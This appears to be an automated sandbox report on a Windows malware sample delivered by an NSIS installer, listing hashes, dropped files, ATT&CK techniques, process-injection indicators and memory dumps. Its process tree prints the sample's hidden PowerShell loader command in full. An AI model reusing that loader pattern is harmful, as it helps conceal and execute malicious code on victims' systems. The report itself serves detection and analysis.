06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458

General

Target

06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
Size

574KB
MD5

74e43edd90b7a3f378ac43173eafb6c6
SHA1

769049685165f71c710781df1bc20dc9feb5d354
SHA256

06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458
SHA512

a9d5c79c0cfc4d69a0427c425cb54d6bcf9e7048a830a1762d2881e63112adc46d0900ebcd746fa956e8eef1deaebd755fab1d6d3488ccd7827c5c6a8460b95e
SSDEEP

12288:sCn4AyHnOS7RiYK5a4JZiSbRN/zVTBSJqtjWWJ0wE:/nEnp7gXvJZiQ7HSJqtjBJ0

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2980	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
4784	ooidal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2980	powershell.exe
4784	ooidal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2980 set thread context of 4784	2980	powershell.exe	95

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\astonied.ini	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
File opened for modification	C:\Program Files (x86)\indflyvnings\Sparhawk128.Mod	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\frasiger.ini	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
File created	C:\Windows\resources\sammentrkket\fatherlike.lnk	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ooidal.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0004000000022ab1-67.dat	nsis_installer_1
behavioral2/files/0x0004000000022ab1-67.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2980	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 468 wrote to memory of 2980	468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe	85
PID 468 wrote to memory of 2980	468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe	85
PID 468 wrote to memory of 2980	468	06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe	85
PID 2980 wrote to memory of 4784	2980	powershell.exe	95
PID 2980 wrote to memory of 4784	2980	powershell.exe	95
PID 2980 wrote to memory of 4784	2980	powershell.exe	95
PID 2980 wrote to memory of 4784	2980	powershell.exe	95
PID 2980 wrote to memory of 4784	2980	powershell.exe	95

C:\Users\Admin\AppData\Local\Temp\06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe
"C:\Users\Admin\AppData\Local\Temp\06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Overbrowsed=Get-Content 'C:\Users\Admin\AppData\Roaming\Watertown136\Brevskolen141\Receptiv147\Skoleeksempler.Mar';$Sammenstikkende=$Overbrowsed.SubString(70157,3);.$Sammenstikkende($Overbrowsed)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Users\Admin\AppData\Local\Temp\ooidal.exe
    "C:\Users\Admin\AppData\Local\Temp\ooidal.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iulahc4v.wun.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi8221.tmp\BgImage.dll

Filesize
7KB

MD5
49998d066af103d06b56f5b4c76b1497

SHA1
b7dce166147f40dfa17f5ca950c4e324a10d04be

SHA256
95042dbe7428461ee7fd210acf37040eb921012c7b32f66cb54766f0a16bb5b6

SHA512
61b0d75ef3a18c8c13ad8c614a012a71cbc4f6fd4bba0aa0c7b866e1a8fbf5f9fdb3e012a3566586d47fc8b456a7de36a06a0d70cdf27e504aac64eab37555d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi8221.tmp\nsDialogs.dll

Filesize
9KB

MD5
19d3373e403a6e724cfa1563dfd1f463

SHA1
4917547b355a91e9431879209f56925097bf4fb3

SHA256
873fa0c52eae7cfbed56ea18b21fad0ca8f018ab7f305bd1db1a3ec454e353d1

SHA512
b6f6db23376ade4bb864ea14244980612f42f322d3915540090bfe8edc80e9577b7aec3589bd587ca47a729371ed8ab8e6e23031bb3e3f524d48783637646193

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi8221.tmp\nsExec.dll

Filesize
6KB

MD5
6c881f00ba860b17821d8813aa34dbc6

SHA1
0e5a1e09b1ce1bc758d6977b913a8d9ccbe52a13

SHA256
bcb93204bd1854d0c34fa30883bab51f6813ab32abf7fb7d4aeed21d71f6af87

SHA512
c78d6f43aa9bb35260a7bd300392ce809282660283fa6cb3059bae50d6db229b0b853cab7c949d4bdf19309fb183257b1c9feb01a66347e1c0adeb21543315b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\ooidal.exe

Filesize
574KB

MD5
74e43edd90b7a3f378ac43173eafb6c6

SHA1
769049685165f71c710781df1bc20dc9feb5d354

SHA256
06c18aecf56c55274b1437ad4530bfbd15f7063f300cab6c25f2a123748f6458

SHA512
a9d5c79c0cfc4d69a0427c425cb54d6bcf9e7048a830a1762d2881e63112adc46d0900ebcd746fa956e8eef1deaebd755fab1d6d3488ccd7827c5c6a8460b95e

Download Submit
C:\Users\Admin\AppData\Roaming\Watertown136\Brevskolen141\Receptiv147\Quiverers.ect

Filesize
313KB

MD5
c112edef537540c9ea832a3510dad69c

SHA1
93f6203104bbda2dce66e9f49b00ece85ede8e28

SHA256
6a6093e526834d0f1b4daec23f80a0d4929f6cab42bd002c3d84edead57d4348

SHA512
56c9166d6a4ffc35ca12c332b07b2964918868d9657bc3da0b5986db768952c4cca9a045a4effc004857adde5058002a06b27b613a2cc05801261cda7b166c81

Download Submit
C:\Users\Admin\AppData\Roaming\Watertown136\Brevskolen141\Receptiv147\Skoleeksempler.Mar

Filesize
68KB

MD5
e3649d4b640393f40a763a43483d8e7b

SHA1
8efe00ce5e12c04cfe93956d12118ffab6f30875

SHA256
55f609396514d8de750ed3c7225f5db00b7940f82970cbb0c62389b63e2d91e3

SHA512
33bd5151dbb95248f71600948d80772cef11737c69aa01a8fb7c07922d6b55f08c9c26be5f1a3dae79c635a349c0e632a4bb76d1b4cd68a3f4fffecb3d630d11

Download Submit
memory/2980-52-0x0000000007A10000-0x0000000007FB4000-memory.dmp

Filesize
5.6MB

Download
memory/2980-57-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-36-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Filesize
408KB

Download
memory/2980-35-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/2980-33-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-46-0x0000000005DD0000-0x0000000006124000-memory.dmp

Filesize
3.3MB

Download
memory/2980-47-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/2980-48-0x0000000006490000-0x00000000064DC000-memory.dmp

Filesize
304KB

Download
memory/2980-49-0x00000000073C0000-0x0000000007456000-memory.dmp

Filesize
600KB

Download
memory/2980-50-0x0000000006900000-0x000000000691A000-memory.dmp

Filesize
104KB

Download
memory/2980-51-0x0000000006950000-0x0000000006972000-memory.dmp

Filesize
136KB

Download
memory/2980-32-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-31-0x0000000005490000-0x0000000005AB8000-memory.dmp

Filesize
6.2MB

Download
memory/2980-54-0x0000000008640000-0x0000000008CBA000-memory.dmp

Filesize
6.5MB

Download
memory/2980-56-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-34-0x0000000005430000-0x0000000005452000-memory.dmp

Filesize
136KB

Download
memory/2980-58-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-30-0x0000000004E10000-0x0000000004E46000-memory.dmp

Filesize
216KB

Download
memory/2980-60-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-61-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

Filesize
4KB

Download
memory/2980-63-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-62-0x0000000008CC0000-0x000000000BF5C000-memory.dmp

Filesize
50.6MB

Download
memory/2980-64-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-65-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-29-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

Filesize
4KB

Download
memory/2980-77-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/2980-69-0x0000000073EF0000-0x00000000746A0000-memory.dmp

Filesize
7.7MB

Download
memory/4784-71-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download
memory/4784-68-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download

Analysis

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